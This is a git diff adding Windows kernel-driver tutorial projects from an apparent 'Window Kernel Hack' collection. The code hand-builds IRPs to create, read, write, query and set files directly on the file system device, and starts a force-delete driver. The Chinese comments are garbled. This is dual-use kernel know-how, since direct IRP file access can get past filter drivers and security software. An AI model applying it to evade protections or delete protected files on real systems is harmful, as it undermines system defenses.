InterlockedIncrement(&pFileObject->Vpb->ReferenceCount); + } + + // ļ + *ppFileObject = pFileObject; + + return status; +} + + +// ļ +// ZwQueryDirectoryFile +NTSTATUS IrpQueryDirectoryFile( + IN PFILE_OBJECT pFileObject, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass, + IN PUNICODE_STRING FileName OPTIONAL) +{ + NTSTATUS status = STATUS_SUCCESS; + PIRP pIrp = NULL; + KEVENT kEvent = { 0 }; + PIO_STACK_LOCATION pIoStackLocation = NULL; + PDEVICE_OBJECT pDevObj = NULL; + + // жϲǷЧ + if ((NULL == pFileObject) || + (NULL == pFileObject->Vpb) || + (NULL == pFileObject->Vpb->DeviceObject)) + { + return STATUS_UNSUCCESSFUL; + } + + // ȡ豸 + pDevObj = pFileObject->Vpb->DeviceObject; + + // IRP + pIrp = IoAllocateIrp(pDevObj->StackSize, FALSE); + if (NULL == pIrp) + { + return STATUS_UNSUCCESSFUL; + } + + // ¼ + KeInitializeEvent(&kEvent, SynchronizationEvent, FALSE); + + // IRP + RtlZeroMemory(FileInformation, Length); + pIrp->UserEvent = &kEvent; + pIrp->UserIosb = IoStatusBlock; + pIrp->UserBuffer = FileInformation; + pIrp->Tail.Overlay.Thread = PsGetCurrentThread(); + pIrp->Tail.Overlay.OriginalFileObject = pFileObject; + pIrp->Overlay.AsynchronousParameters.UserApcRoutine = NULL; + + // ȡһIRPIO_STACK_LOCATION + pIoStackLocation = IoGetNextIrpStackLocation(pIrp); + pIoStackLocation->MajorFunction = IRP_MJ_DIRECTORY_CONTROL; + pIoStackLocation->MinorFunction = IRP_MN_QUERY_DIRECTORY; + pIoStackLocation->FileObject = pFileObject; + pIoStackLocation->Flags = SL_RESTART_SCAN; + pIoStackLocation->Parameters.QueryDirectory.Length = Length; + pIoStackLocation->Parameters.QueryDirectory.FileName = FileName; + pIoStackLocation->Parameters.QueryDirectory.FileInformationClass = FileInformationClass; + + // ʵ, Ա֪ͨIRP, ͷԴ + IoSetCompletionRoutine(pIrp, MyCompleteRoutine, NULL, TRUE, TRUE, TRUE); + + // IRP + status = IoCallDriver(pDevObj, pIrp); + + // ȴIRPĴ + if (STATUS_PENDING == status) + { + KeWaitForSingleObject(&kEvent, Executive, KernelMode, FALSE, NULL); + } + + status = IoStatusBlock->Status; + if (!NT_SUCCESS(status)) + { + return status; + } + return status; +} + + +// ȡļϢ +// ZwQueryInformationFile +NTSTATUS IrpQueryInformationFile( + IN PFILE_OBJECT pFileObject, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass + ) +{ + NTSTATUS status = STATUS_SUCCESS; + PIRP pIrp = NULL; + KEVENT kEvent = { 0 }; + PIO_STACK_LOCATION pIoStackLocation = NULL; + PDEVICE_OBJECT pDevObj = NULL; + + // жϲǷЧ + if ((NULL == pFileObject) || + (NULL == pFileObject->Vpb) || + (NULL == pFileObject->Vpb->DeviceObject)) + { + return STATUS_UNSUCCESSFUL; + } + + // ȡ豸 + pDevObj = pFileObject->Vpb->DeviceObject; + + // IRP + pIrp = IoAllocateIrp(pDevObj->StackSize, FALSE); + if (NULL == pIrp) + { + return STATUS_UNSUCCESSFUL; + } + + // ¼ + KeInitializeEvent(&kEvent, SynchronizationEvent, FALSE); + + // IRP + RtlZeroMemory(FileInformation, Length); + pIrp->UserEvent = &kEvent; + pIrp->UserIosb = IoStatusBlock; + pIrp->AssociatedIrp.SystemBuffer = FileInformation; + pIrp->RequestorMode = KernelMode; + pIrp->Tail.Overlay.Thread = PsGetCurrentThread(); + pIrp->Tail.Overlay.OriginalFileObject = pFileObject; + + // ȡһIRPIO_STACK_LOCATION + pIoStackLocation = IoGetNextIrpStackLocation(pIrp); + pIoStackLocation->MajorFunction = IRP_MJ_QUERY_INFORMATION; + pIoStackLocation->DeviceObject = pDevObj; + pIoStackLocation->FileObject = pFileObject; + pIoStackLocation->Parameters.QueryFile.Length = Length; + pIoStackLocation->Parameters.QueryFile.FileInformationClass = FileInformationClass; + + // ʵ, Ա֪ͨIRP, ͷԴ + IoSetCompletionRoutine(pIrp, MyCompleteRoutine, NULL, TRUE, TRUE, TRUE); + + // IRP + status = IoCallDriver(pDevObj, pIrp); + + // ȴIRPĴ + if (STATUS_PENDING == status) + { + KeWaitForSingleObject(&kEvent, Executive, KernelMode, FALSE, NULL); + } + + status = IoStatusBlock->Status; + if (!NT_SUCCESS(status)) + { + return status; + } + return status; +} + + + +// ļϢ +// ZwSetInformationFile +NTSTATUS IrpSetInformationFile( + IN PFILE_OBJECT pFileObject, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass + ) +{ + NTSTATUS status = STATUS_SUCCESS; + PIRP pIrp = NULL; + KEVENT kEvent = { 0 }; + PIO_STACK_LOCATION pIoStackLocation = NULL; + PDEVICE_OBJECT pDevObj = NULL; + + // жϲǷЧ + if ((NULL == pFileObject) || + (NULL == pFileObject->Vpb) || + (NULL == pFileObject->Vpb->DeviceObject)) + { + return STATUS_UNSUCCESSFUL; + } + + // ȡ豸 + pDevObj = pFileObject->Vpb->DeviceObject; + + // IRP + pIrp = IoAllocateIrp(pDevObj->StackSize, FALSE); + if (NULL == pIrp) + { + return STATUS_UNSUCCESSFUL; + } + + // ¼ + KeInitializeEvent(&kEvent, SynchronizationEvent, FALSE); + + // IRP + pIrp->UserEvent = &kEvent; + pIrp->UserIosb = IoStatusBlock; + pIrp->AssociatedIrp.SystemBuffer = FileInformation; + pIrp->RequestorMode = KernelMode; + pIrp->Tail.Overlay.Thread = PsGetCurrentThread(); + pIrp->Tail.Overlay.OriginalFileObject = pFileObject; + + // ȡһIRPIO_STACK_LOCATION + pIoStackLocation = IoGetNextIrpStackLocation(pIrp); + pIoStackLocation->MajorFunction = IRP_MJ_SET_INFORMATION; + pIoStackLocation->DeviceObject = pDevObj; + pIoStackLocation->FileObject = pFileObject; + pIoStackLocation->Parameters.SetFile.Length = Length; + pIoStackLocation->Parameters.SetFile.FileInformationClass = FileInformationClass; + + // ʵ, Ա֪ͨIRP, ͷԴ + IoSetCompletionRoutine(pIrp, MyCompleteRoutine, NULL, TRUE, TRUE, TRUE); + + // IRP + status = IoCallDriver(pDevObj, pIrp); + + // ȴIRPĴ + if (STATUS_PENDING == status) + { + KeWaitForSingleObject(&kEvent, Executive, KernelMode, FALSE, NULL); + } + + status = IoStatusBlock->Status; + if (!NT_SUCCESS(status)) + { + return status; + } + return status; +} + + +// ļ +// ZwReadFile +NTSTATUS IrpReadFile( + IN PFILE_OBJECT pFileObject, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN PLARGE_INTEGER ByteOffset OPTIONAL + ) +{ + NTSTATUS status = STATUS_SUCCESS; + PIRP pIrp = NULL; + KEVENT kEvent = { 0 }; + PIO_STACK_LOCATION pIoStackLocation = NULL; + PDEVICE_OBJECT pDevObj = NULL; + + // жϲǷЧ + if ((NULL == pFileObject) || + (NULL == pFileObject->Vpb) || + (NULL == pFileObject->Vpb->DeviceObject)) + { + return STATUS_UNSUCCESSFUL; + } + + // + if (NULL == ByteOffset) + { + if (0 == (FO_SYNCHRONOUS_IO & pFileObject->Flags)) + { + return STATUS_INVALID_PARAMETER; + } + ByteOffset = &pFileObject->CurrentByteOffset; + } + + // ȡ豸 + pDevObj = pFileObject->Vpb->DeviceObject; + + // IRP + pIrp = IoAllocateIrp(pDevObj->StackSize, FALSE); + if (NULL == pIrp) + { + return STATUS_UNSUCCESSFUL; + } + + // ¼ + KeInitializeEvent(&kEvent, SynchronizationEvent, FALSE); + + // IRP + RtlZeroMemory(Buffer, Length); + pIrp->MdlAddress = MmCreateMdl(NULL, Buffer, Length); + if (NULL == pIrp->MdlAddress) + { + IoFreeIrp(pIrp); + return STATUS_INSUFFICIENT_RESOURCES; + } + MmBuildMdlForNonPagedPool(pIrp->MdlAddress); + + pIrp->UserEvent = &kEvent; + pIrp->UserIosb = IoStatusBlock; + pIrp->Flags = IRP_READ_OPERATION; + pIrp->RequestorMode = KernelMode; + pIrp->Tail.Overlay.Thread = PsGetCurrentThread(); + pIrp->Tail.Overlay.OriginalFileObject = pFileObject; + + // ȡһIRPIO_STACK_LOCATION + pIoStackLocation = IoGetNextIrpStackLocation(pIrp); + pIoStackLocation->MajorFunction = IRP_MJ_READ; + pIoStackLocation->MinorFunction = IRP_MN_NORMAL; + pIoStackLocation->DeviceObject = pDevObj; + pIoStackLocation->FileObject = pFileObject; + pIoStackLocation->Parameters.Read.Length = Length; + pIoStackLocation->Parameters.Read.ByteOffset = *ByteOffset; + + // ʵ, Ա֪ͨIRP, ͷԴ + IoSetCompletionRoutine(pIrp, MyCompleteRoutine, NULL, TRUE, TRUE, TRUE); + + // IRP + status = IoCallDriver(pDevObj, pIrp); + + // ȴIRPĴ + if (STATUS_PENDING == status) + { + KeWaitForSingleObject(&kEvent, Executive, KernelMode, FALSE, NULL); + } + + status = IoStatusBlock->Status; + if (!NT_SUCCESS(status)) + { + return status; + } + return status; +} + + +// дļ +// ZwWriteFile +NTSTATUS IrpWriteFile( + IN PFILE_OBJECT pFileObject, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID Buffer, + IN ULONG Length, + IN PLARGE_INTEGER ByteOffset OPTIONAL + ) +{ + NTSTATUS status = STATUS_SUCCESS; + PIRP pIrp = NULL; + KEVENT kEvent = { 0 }; + PIO_STACK_LOCATION pIoStackLocation = NULL; + PDEVICE_OBJECT pDevObj = NULL; + + // жϲǷЧ + if ((NULL == pFileObject) || + (NULL == pFileObject->Vpb) || + (NULL == pFileObject->Vpb->DeviceObject)) + { + return STATUS_UNSUCCESSFUL; + } + + // + if (NULL == ByteOffset) + { + if (0 == (FO_SYNCHRONOUS_IO & pFileObject->Flags)) + { + return STATUS_INVALID_PARAMETER; + } + ByteOffset = &pFileObject->CurrentByteOffset; + } + + // ȡ豸 + pDevObj = pFileObject->Vpb->DeviceObject; + + // IRP + pIrp = IoAllocateIrp(pDevObj->StackSize, FALSE); + if (NULL == pIrp) + { + return STATUS_UNSUCCESSFUL; + } + + // ¼ + KeInitializeEvent(&kEvent, SynchronizationEvent, FALSE); + + // IRP + pIrp->MdlAddress = MmCreateMdl(NULL, Buffer, Length); + if (NULL == pIrp->MdlAddress) + { + IoFreeIrp(pIrp); + return STATUS_INSUFFICIENT_RESOURCES; + } + MmBuildMdlForNonPagedPool(pIrp->MdlAddress); + + pIrp->UserEvent = &kEvent; + pIrp->UserIosb = IoStatusBlock; + pIrp->Flags = IRP_WRITE_OPERATION; + pIrp->RequestorMode = KernelMode; + pIrp->Tail.Overlay.Thread = PsGetCurrentThread(); + pIrp->Tail.Overlay.OriginalFileObject = pFileObject; + + // ȡһIRPIO_STACK_LOCATION + pIoStackLocation = IoGetNextIrpStackLocation(pIrp); + pIoStackLocation->MajorFunction = IRP_MJ_WRITE; + pIoStackLocation->MinorFunction = IRP_MN_NORMAL; + pIoStackLocation->DeviceObject = pDevObj; + pIoStackLocation->FileObject = pFileObject; + pIoStackLocation->Parameters.Write.Length = Length; + pIoStackLocation->Parameters.Write.ByteOffset = *ByteOffset; + + // ʵ, Ա֪ͨIRP, ͷԴ + IoSetCompletionRoutine(pIrp, MyCompleteRoutine, NULL, TRUE, TRUE, TRUE); + + // IRP + status = IoCallDriver(pDevObj, pIrp); + + // ȴIRPĴ + if (STATUS_PENDING == status) + { + KeWaitForSingleObject(&kEvent, Executive, KernelMode, FALSE, NULL); + } + + status = IoStatusBlock->Status; + if (!NT_SUCCESS(status)) + { + return status; + } + return status; +} + diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\344\277\235\346\212\244/IrpFileProtect_Test/IrpFileProtect_Test/IrpFile.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\344\277\235\346\212\244/IrpFileProtect_Test/IrpFileProtect_Test/IrpFile.h" new file mode 100644 index 0000000..d889d05 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\344\277\235\346\212\244/IrpFileProtect_Test/IrpFileProtect_Test/IrpFile.h" @@ -0,0 +1,113 @@ +#ifndef _IRP_FILE_H_ +#define _IRP_FILE_H_ + + +#include + + +typedef struct _AUX_ACCESS_DATA { + PPRIVILEGE_SET PrivilegesUsed; + GENERIC_MAPPING GenericMapping; + ACCESS_MASK AccessesToAudit; + ACCESS_MASK MaximumAuditMask; + ULONG Unknown[256]; +} AUX_ACCESS_DATA, *PAUX_ACCESS_DATA; + + +NTSTATUS SeCreateAccessState( + PACCESS_STATE AccessState, + PVOID AuxData, + ACCESS_MASK DesiredAccess, + PGENERIC_MAPPING GenericMapping + ); + +NTSTATUS ObCreateObject( + __in KPROCESSOR_MODE ProbeMode, // ǷҪ֤ + __in POBJECT_TYPE ObjectType, // ָ + __in POBJECT_ATTRIBUTES ObjectAttributes, // , ջתObAllocateObjectҪOBJECT_CREATE_INFORMATIONṹ + __in KPROCESSOR_MODE OwnershipMode, // ں˶?û? ͬ + __inout_opt PVOID ParseContext, // û + __in ULONG ObjectBodySize, // С + __in ULONG PagedPoolCharge, // ... + __in ULONG NonPagedPoolCharge, // ... + __out PVOID *Object // նָ + ); + + + + +// ʵ, ¼ź, ͷIRP +NTSTATUS MyCompleteRoutine( + IN PDEVICE_OBJECT DeviceObject, + IN PIRP pIrp, + IN PVOID Context); + + +// ߴļ +// ZwCreateFile +NTSTATUS IrpCreateFile( + OUT PFILE_OBJECT *ppFileObject, + IN ACCESS_MASK DesiredAccess, + IN PUNICODE_STRING pustrFilePath, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PLARGE_INTEGER AllocationSize OPTIONAL, + IN ULONG FileAttributes, + IN ULONG ShareAccess, + IN ULONG CreateDisposition, + IN ULONG CreateOptions, + IN PVOID EaBuffer OPTIONAL, + IN ULONG EaLength); + +// ļ +// ZwQueryDirectoryFile +NTSTATUS IrpQueryDirectoryFile( + IN PFILE_OBJECT pFileObject, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass, + IN PUNICODE_STRING FileName OPTIONAL); + +// ȡļϢ +// ZwQueryInformationFile +NTSTATUS IrpQueryInformationFile( + IN PFILE_OBJECT pFileObject, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass + ); + + +// ļϢ +// ZwSetInformationFile +NTSTATUS IrpSetInformationFile( + IN PFILE_OBJECT pFileObject, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass + ); + +// ļ +// ZwReadFile +NTSTATUS IrpReadFile( + IN PFILE_OBJECT pFileObject, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN PLARGE_INTEGER ByteOffset OPTIONAL + ); + +// дļ +// ZwWriteFile +NTSTATUS IrpWriteFile( + IN PFILE_OBJECT pFileObject, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID Buffer, + IN ULONG Length, + IN PLARGE_INTEGER ByteOffset OPTIONAL + ); + + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\344\277\235\346\212\244/IrpFileProtect_Test/IrpFileProtect_Test/IrpFileProtect_Test.inf" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\344\277\235\346\212\244/IrpFileProtect_Test/IrpFileProtect_Test/IrpFileProtect_Test.inf" new file mode 100644 index 0000000..8d61cbe --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\344\277\235\346\212\244/IrpFileProtect_Test/IrpFileProtect_Test/IrpFileProtect_Test.inf" @@ -0,0 +1,32 @@ +; +; IrpFileProtect_Test.inf +; + +[Version] +Signature="$WINDOWS NT$" +Class= +ClassGuid= +Provider= +DriverVer= +CatalogFile= + +[DestinationDirs] +DefaultDestDir = 12 + + +[SourceDisksNames] +1 = %DiskName%,,,"" + +[SourceDisksFiles] + + +[Manufacturer] +%ManufacturerName%=Standard,NT$ARCH$ + +[Standard.NT$ARCH$] + + +[Strings] +ManufacturerName="" +ClassName="" +DiskName="IrpFileProtect_Test Source Disk" diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\344\277\235\346\212\244/IrpFileProtect_Test/IrpFileProtect_Test/IrpFileProtect_Test.vcxproj" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\344\277\235\346\212\244/IrpFileProtect_Test/IrpFileProtect_Test/IrpFileProtect_Test.vcxproj" new file mode 100644 index 0000000..3dfb8ed --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\344\277\235\346\212\244/IrpFileProtect_Test/IrpFileProtect_Test/IrpFileProtect_Test.vcxproj" @@ -0,0 +1,263 @@ + + + + + Win8.1 Debug + Win32 + + + Win8.1 Release + Win32 + + + Win8 Debug + Win32 + + + Win8 Release + Win32 + + + Win7 Debug + Win32 + + + Win7 Release + Win32 + + + Win8.1 Debug + x64 + + + Win8.1 Release + x64 + + + Win8 Debug + x64 + + + Win8 Release + x64 + + + Win7 Debug + x64 + + + Win7 Release + x64 + + + + {D2FA4306-2ACC-4ADE-BF9E-066D636AC85A} + {dd38f7fc-d7bd-488b-9242-7d8754cde80d} + v4.5 + 11.0 + Win8.1 Debug + Win32 + IrpFileProtect_Test + + + + WindowsV6.3 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + + + + + + + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\344\277\235\346\212\244/IrpFileProtect_Test/IrpFileProtect_Test/IrpFileProtect_Test.vcxproj.filters" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\344\277\235\346\212\244/IrpFileProtect_Test/IrpFileProtect_Test/IrpFileProtect_Test.vcxproj.filters" new file mode 100644 index 0000000..b43e4d3 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\344\277\235\346\212\244/IrpFileProtect_Test/IrpFileProtect_Test/IrpFileProtect_Test.vcxproj.filters" @@ -0,0 +1,48 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + {8E41214B-6785-4CFE-B992-037D68949A14} + inf;inv;inx;mof;mc; + + + + + Driver Files + + + + + Header Files + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\344\277\235\346\212\244/IrpFileProtect_Test/IrpFileProtect_Test/IrpFileProtect_Test.vcxproj.user" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\344\277\235\346\212\244/IrpFileProtect_Test/IrpFileProtect_Test/IrpFileProtect_Test.vcxproj.user" new file mode 100644 index 0000000..0bf5c12 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\344\277\235\346\212\244/IrpFileProtect_Test/IrpFileProtect_Test/IrpFileProtect_Test.vcxproj.user" @@ -0,0 +1,15 @@ + + + + Off + + + Off + + + Off + + + Off + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\345\274\272\345\210\240/IrpFileForceDelete_Test/IrpFileForceDelete_Test.sln" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\345\274\272\345\210\240/IrpFileForceDelete_Test/IrpFileForceDelete_Test.sln" new file mode 100644 index 0000000..d3bd6bd --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\345\274\272\345\210\240/IrpFileForceDelete_Test/IrpFileForceDelete_Test.sln" @@ -0,0 +1,64 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.40629.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "IrpFileForceDelete_Test", "IrpFileForceDelete_Test\IrpFileForceDelete_Test.vcxproj", "{84A93620-D8D5-417C-BAD2-9C43E54C1FE8}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Win7 Debug|Win32 = Win7 Debug|Win32 + Win7 Debug|x64 = Win7 Debug|x64 + Win7 Release|Win32 = Win7 Release|Win32 + Win7 Release|x64 = Win7 Release|x64 + Win8 Debug|Win32 = Win8 Debug|Win32 + Win8 Debug|x64 = Win8 Debug|x64 + Win8 Release|Win32 = Win8 Release|Win32 + Win8 Release|x64 = Win8 Release|x64 + Win8.1 Debug|Win32 = Win8.1 Debug|Win32 + Win8.1 Debug|x64 = Win8.1 Debug|x64 + Win8.1 Release|Win32 = Win8.1 Release|Win32 + Win8.1 Release|x64 = Win8.1 Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {84A93620-D8D5-417C-BAD2-9C43E54C1FE8}.Win7 Debug|Win32.ActiveCfg = Win7 Debug|Win32 + {84A93620-D8D5-417C-BAD2-9C43E54C1FE8}.Win7 Debug|Win32.Build.0 = Win7 Debug|Win32 + {84A93620-D8D5-417C-BAD2-9C43E54C1FE8}.Win7 Debug|Win32.Deploy.0 = Win7 Debug|Win32 + {84A93620-D8D5-417C-BAD2-9C43E54C1FE8}.Win7 Debug|x64.ActiveCfg = Win7 Debug|x64 + {84A93620-D8D5-417C-BAD2-9C43E54C1FE8}.Win7 Debug|x64.Build.0 = Win7 Debug|x64 + {84A93620-D8D5-417C-BAD2-9C43E54C1FE8}.Win7 Debug|x64.Deploy.0 = Win7 Debug|x64 + {84A93620-D8D5-417C-BAD2-9C43E54C1FE8}.Win7 Release|Win32.ActiveCfg = Win7 Release|Win32 + {84A93620-D8D5-417C-BAD2-9C43E54C1FE8}.Win7 Release|Win32.Build.0 = Win7 Release|Win32 + {84A93620-D8D5-417C-BAD2-9C43E54C1FE8}.Win7 Release|Win32.Deploy.0 = Win7 Release|Win32 + {84A93620-D8D5-417C-BAD2-9C43E54C1FE8}.Win7 Release|x64.ActiveCfg = Win7 Release|x64 + {84A93620-D8D5-417C-BAD2-9C43E54C1FE8}.Win7 Release|x64.Build.0 = Win7 Release|x64 + {84A93620-D8D5-417C-BAD2-9C43E54C1FE8}.Win7 Release|x64.Deploy.0 = Win7 Release|x64 + {84A93620-D8D5-417C-BAD2-9C43E54C1FE8}.Win8 Debug|Win32.ActiveCfg = Win8 Debug|Win32 + {84A93620-D8D5-417C-BAD2-9C43E54C1FE8}.Win8 Debug|Win32.Build.0 = Win8 Debug|Win32 + {84A93620-D8D5-417C-BAD2-9C43E54C1FE8}.Win8 Debug|Win32.Deploy.0 = Win8 Debug|Win32 + {84A93620-D8D5-417C-BAD2-9C43E54C1FE8}.Win8 Debug|x64.ActiveCfg = Win8 Debug|x64 + {84A93620-D8D5-417C-BAD2-9C43E54C1FE8}.Win8 Debug|x64.Build.0 = Win8 Debug|x64 + {84A93620-D8D5-417C-BAD2-9C43E54C1FE8}.Win8 Debug|x64.Deploy.0 = Win8 Debug|x64 + {84A93620-D8D5-417C-BAD2-9C43E54C1FE8}.Win8 Release|Win32.ActiveCfg = Win8 Release|Win32 + {84A93620-D8D5-417C-BAD2-9C43E54C1FE8}.Win8 Release|Win32.Build.0 = Win8 Release|Win32 + {84A93620-D8D5-417C-BAD2-9C43E54C1FE8}.Win8 Release|Win32.Deploy.0 = Win8 Release|Win32 + {84A93620-D8D5-417C-BAD2-9C43E54C1FE8}.Win8 Release|x64.ActiveCfg = Win8 Release|x64 + {84A93620-D8D5-417C-BAD2-9C43E54C1FE8}.Win8 Release|x64.Build.0 = Win8 Release|x64 + {84A93620-D8D5-417C-BAD2-9C43E54C1FE8}.Win8 Release|x64.Deploy.0 = Win8 Release|x64 + {84A93620-D8D5-417C-BAD2-9C43E54C1FE8}.Win8.1 Debug|Win32.ActiveCfg = Win8.1 Debug|Win32 + {84A93620-D8D5-417C-BAD2-9C43E54C1FE8}.Win8.1 Debug|Win32.Build.0 = Win8.1 Debug|Win32 + {84A93620-D8D5-417C-BAD2-9C43E54C1FE8}.Win8.1 Debug|Win32.Deploy.0 = Win8.1 Debug|Win32 + {84A93620-D8D5-417C-BAD2-9C43E54C1FE8}.Win8.1 Debug|x64.ActiveCfg = Win8.1 Debug|x64 + {84A93620-D8D5-417C-BAD2-9C43E54C1FE8}.Win8.1 Debug|x64.Build.0 = Win8.1 Debug|x64 + {84A93620-D8D5-417C-BAD2-9C43E54C1FE8}.Win8.1 Debug|x64.Deploy.0 = Win8.1 Debug|x64 + {84A93620-D8D5-417C-BAD2-9C43E54C1FE8}.Win8.1 Release|Win32.ActiveCfg = Win8.1 Release|Win32 + {84A93620-D8D5-417C-BAD2-9C43E54C1FE8}.Win8.1 Release|Win32.Build.0 = Win8.1 Release|Win32 + {84A93620-D8D5-417C-BAD2-9C43E54C1FE8}.Win8.1 Release|Win32.Deploy.0 = Win8.1 Release|Win32 + {84A93620-D8D5-417C-BAD2-9C43E54C1FE8}.Win8.1 Release|x64.ActiveCfg = Win8.1 Release|x64 + {84A93620-D8D5-417C-BAD2-9C43E54C1FE8}.Win8.1 Release|x64.Build.0 = Win8.1 Release|x64 + {84A93620-D8D5-417C-BAD2-9C43E54C1FE8}.Win8.1 Release|x64.Deploy.0 = Win8.1 Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\345\274\272\345\210\240/IrpFileForceDelete_Test/IrpFileForceDelete_Test.v12.suo" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\345\274\272\345\210\240/IrpFileForceDelete_Test/IrpFileForceDelete_Test.v12.suo" new file mode 100644 index 0000000..b4f45b1 Binary files /dev/null and "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\345\274\272\345\210\240/IrpFileForceDelete_Test/IrpFileForceDelete_Test.v12.suo" differ diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\345\274\272\345\210\240/IrpFileForceDelete_Test/IrpFileForceDelete_Test/Driver.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\345\274\272\345\210\240/IrpFileForceDelete_Test/IrpFileForceDelete_Test/Driver.c" new file mode 100644 index 0000000..743a3c4 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\345\274\272\345\210\240/IrpFileForceDelete_Test/IrpFileForceDelete_Test/Driver.c" @@ -0,0 +1,125 @@ +#include "ForceDelete.h" +#include "Driver.h" + + +NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, 